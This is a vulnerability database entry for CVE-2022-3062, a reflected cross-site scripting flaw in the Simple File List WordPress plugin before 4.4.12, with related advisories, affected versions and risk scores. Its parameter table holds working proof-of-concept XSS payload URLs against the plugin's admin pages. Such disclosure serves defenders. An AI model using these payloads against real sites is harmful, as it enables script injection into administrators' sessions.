CVE-2022-3062

🗓️ 26 Sep 2022 12:35:39Reported by WPScanType

cve🔗 web.nvd.nist.gov📰️ 5 Media mentions👁 87 Views🌐 WEB

The Simple File List WordPress plugin before 4.4.12 allows Reflected Cross-Site Scripting

Reporter	Title	Published	Views	Family All 13
Circl	CVE-2022-3062	26 Sep 202216:22	–	circl
CNNVD	WordPress plugin Simple File List 跨站脚本漏洞	26 Sep 202200:00	–	cnnvd
CNVD	WordPress Simple File List Cross-Site Scripting Vulnerability	28 Sep 202200:00	–	cnvd
Cvelist	CVE-2022-3062 Simple File List < 4.4.12 - Reflected Cross-Site Scripting	26 Sep 202212:35	–	cvelist
Fedora	[SECURITY] Fedora 35 Update: fzf-0.29.0-2.fc35	17 Aug 202201:36	–	fedora
Nuclei	Simple File List < 4.4.12 - Cross Site Scripting	2 Jul 202609:36	–	nuclei
NVD	CVE-2022-3062	26 Sep 202213:15	–	nvd
OSV	CVE-2022-3062	26 Sep 202213:15	–	osv
Prion	Cross site scripting	26 Sep 202213:15	–	prion
RedhatCVE	CVE-2022-3062	22 May 202522:50	–	redhatcve

NVD

Vulners

Node

simplefilelist simple-file-listRange<4.4.12wordpress

[
  {
    "product": "Simple File List",
    "vendor": "Unknown",
    "versions": [
      {
        "lessThan": "4.4.12",
        "status": "affected",
        "version": "4.4.12",
        "versionType": "custom"
      }
    ]
  }
]

Source	Link
wpscan	www.wpscan.com/vulnerability/2e829bbe-1843-496d-a852-4150fa6d1f7a

Parameter	Position	Path	Description	CWE
page	query param	wp-admin/admin.php?page=ee-simple-file-list&tab="style=animation-name:rotation+onanimationstart=alert(/XSS/)//	Reflected XSS via unescaped parameters in attributes in Simple File List plugin (CWE-79)	CWE-79
tab	query param	wp-admin/admin.php?page=ee-simple-file-list&tab="style=animation-name:rotation+onanimationstart=alert(/XSS/)//	Reflected XSS via unescaped parameters in attributes in Simple File List plugin (CWE-79)	CWE-79
page	query param	wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(/XSS/)//	Reflected XSS via unescaped parameters in attributes in Simple File List plugin (CWE-79)	CWE-79
tab	query param	wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(/XSS/)//	Reflected XSS via unescaped parameters in attributes in Simple File List plugin (CWE-79)	CWE-79
subtab	query param	wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(/XSS/)//	Reflected XSS via unescaped parameters in attributes in Simple File List plugin (CWE-79)	CWE-79

17 Jun 2026 04:58Current

6Medium risk

Vulners AI Score6

CVSS 3.16.1

EPSS0.44095

SSVC

CWE-79